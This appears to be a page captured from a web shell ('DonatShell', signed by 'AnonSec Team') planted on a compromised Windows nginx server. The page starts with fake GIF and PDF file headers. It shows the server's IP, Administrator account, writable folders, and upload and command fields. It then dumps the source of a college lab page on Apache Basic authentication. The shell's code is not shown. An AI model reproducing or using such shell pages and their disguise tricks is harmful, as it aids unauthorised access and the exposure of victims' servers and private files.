GIF89a; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 134.29.175.74  /  Your IP : 216.73.216.160
Web Server : nginx/1.10.2
System : Windows NT CST-WEBSERVER 10.0 build 19045 (Windows 10) i586
User : Administrator ( 0)
PHP Version : 7.1.0
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  C:/nginx/html/MichaelMalz/CST1611/Labs/Lab11/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : C:/nginx/html/MichaelMalz/CST1611/Labs/Lab11/Lab11.phpinc
<?
// JimMartinson/CST1611/Labs/Lab11/Lab11.phpinc

require('Gradebook/EvaluationSubmission_BEGIN.phpinc'); // Replaced.
$dataFolder = '/var/www/html';
$apacheFolder = $dataFolder;
$dirSep = '/';

$disabled = '';
#$disabled = ' disabled'; // Comment this line to enable lab.

if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? }

$userFullName = str_replace(" ", "_", $userFullName);
$directoryFile = $evaluationName.'-'.$userFullName.'.txt';
require('common/Browser/Browser.phpinc');
$ShowSpanCountBefore = false;
#$ShowSpanCountBefore = true;
// <span class="count">
?>
<style type="text/css">
b { white-space:nowrap; }
<? if ( !$ShowSpanCountBefore ) { ?>//<? } ?> span.count:before { content:counters(item, "-"); color:#FF0000; }
</style>
<a name="Lab"></a>
<!--
<textarea id="objd"></textarea>
<textarea id="objd2"></textarea>
-->
<fieldset><legend><?=$evaluationType?> <?=$evaluationNumber?> assignment</legend>
The purpose of this lab is to demonstrate Authentication.
<br>References: <a href="http://httpd.apache.org/docs/current/howto/auth.html">Authentication</a> and <a href="https://wiki.apache.org/httpd/PasswordBasicAuth">PasswordBasicAuth</a>.
<br><?=$gradeNote?>
<ol id="main" class="count">
	<? // 1. ?>
	<li class="count">Setup a directory for use in <?=$evaluationType?> <?=$evaluationNumber?>.
		<ol class="count">
			<li class="count">Create a directory called <b><?=$evaluationName?></b> inside your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?></b> directory.</li>
			<li class="count">Create a text file called <b><?=$directoryFile?></b> in the <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.</li>
		</ol>
	</li>
	<? // 2. ?>
		<li class="count">Setup a 127.0.0.1 host entry and Name-based Virtual Host (lab11.test.conf) for <?=$evaluationType?> <?=$evaluationNumber?> (<a href="../LabHostSetup/?evaluationName=<?=$evaluationName?>&ha=127.0.0.1&ht=<?=$evaluationName?>.test&vh=<?=$evaluationName?>.test&dr=<?=$evaluationName?>&au=true">Instructions are here</a>).
		<br><span class="note">For this lab you need to make sure that the mod_auth_basic, mod_authn_core, mod_authz_core, mod_authn_file, and mod_authz_user modules are loaded by Apache.</span>
		</li>
	<? // 3. ?>
	<li class="count">Configure the <tt>DocumentRoot</tt> <code>Directory</code> for authentication by a valid-user.
		<ol class="count">
			<li class="count">Add the following authentication directives to the <tt>DocumentRoot</tt> <code>Directory</code> definition.
				<ol class="count">
					<li class="count"><tt>AuthType</tt> set to <b>Basic</b>.</li>
					<li class="count"><tt>AuthName</tt> set to <code><b>"<?=$evaluationType?> <?=$evaluationNumber?> root directory authentication"</b></code>.</li>
					<li class="count"><tt>AuthBasicProvider</tt> set to <b>file</b>.</li>
					<li class="count"><tt>AuthUserFile</tt> set to <b><?=$apacheFolder?>/<?=$courseNumber?>/<?=$evaluationName?>/.htpasswd</b>.</li>
					<li class="count"><tt>Require</tt> for <b>valid-user</b>.</li>
				</ol>
			</li>
    </ol>
  </li>
	<? // 4. ?>
	<li class="count">Create the <b>.htpasswd</b> authentication file.
		<ol class="count">
			<li class="count">Create the <b>.htpasswd</b> file in the <b><?=$apacheFolder?>/<?=$courseNumber?>/<?=$evaluationName?></b> directory.</li>
			<li class="count">Create a user named <b><?=$_SESSION['userFirstName']?></b> with a password of <b>bogus</b>.</li>
		</ol>
	</li>
	<? // 5. ?>
	<li class="count">Open up a browser and go to <b>http://<?=$evaluationName?>.test</b>.
		<ol>
			<li>Before logging in, <b class="info">Take a screenshot of the page with the authentication dialog</b> and save the image as <b>CST1611-<?=$evaluationName?>-<?=$userFileName?>-a.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.
				<br>Make sure that the address bar is visible in your screenshot before saving the image.</li>
			<li>After authentication, <b class="info">Take a screenshot of the page</b> and save the image as <b>CST1611-<?=$evaluationName?>-<?=$userFileName?>-b.png</b> in your <b><?=$dataFolder?><?=$dirSep?><?=$courseNumber?><?=$dirSep?><?=$evaluationName?></b> directory.
				<br>Make sure that the address bar is visible in your screenshot before saving the image.</li>
		</ol>
	</li>
	<? // 6. ?>
  <li>Turn in your assignment:
		<ol type="a">
			<li>Copy your <b>hosts</b> and <b>lab11.test.conf</b> file into your <b><?=$evaluationName?></b> folder.</li>
			<li>Zip up your <b><?=$evaluationName?></b> folder into a file named <b><?=$uploadFilename?></b>.</li>
			<li>Browse and select your <b><?=$uploadFilename?></b> file: <input type="file" name="fileUpload" id="inpFileUpload"<?=$disabled?>><div id="divFileploadError"></div></li>
			<li>Then <input type="submit" name="f_subtask" id="inpSubmit" value="Submit"<?=$disabled?>> for grading.</li>
		</ol>
  </li>
 </ol><? if ( $disabled ) { ?><span class="error bold">Notice: Do not perform this assignment unless this notice has been removed.</span><? } ?>
<!-- <? if ( isset($assignmentWeekDue) ) { ?><?=$evaluationType?> <?=$evaluationNumber?> is due on or before <?=classWeekDateCSS($class['startDate'][0],$assignmentWeekDue)?>.<? } ?> -->
<?=$gradeNote?>
</fieldset>

<?
require('Gradebook/EvaluationSubmission_END.phpinc'); // Replaced.
if ($TRACK != '') $_SESSION['TRACK'] .= "<li>End ".basename(__FILE__)."</ol>\n";
?>

Anon7 - 2022
AnonSec Team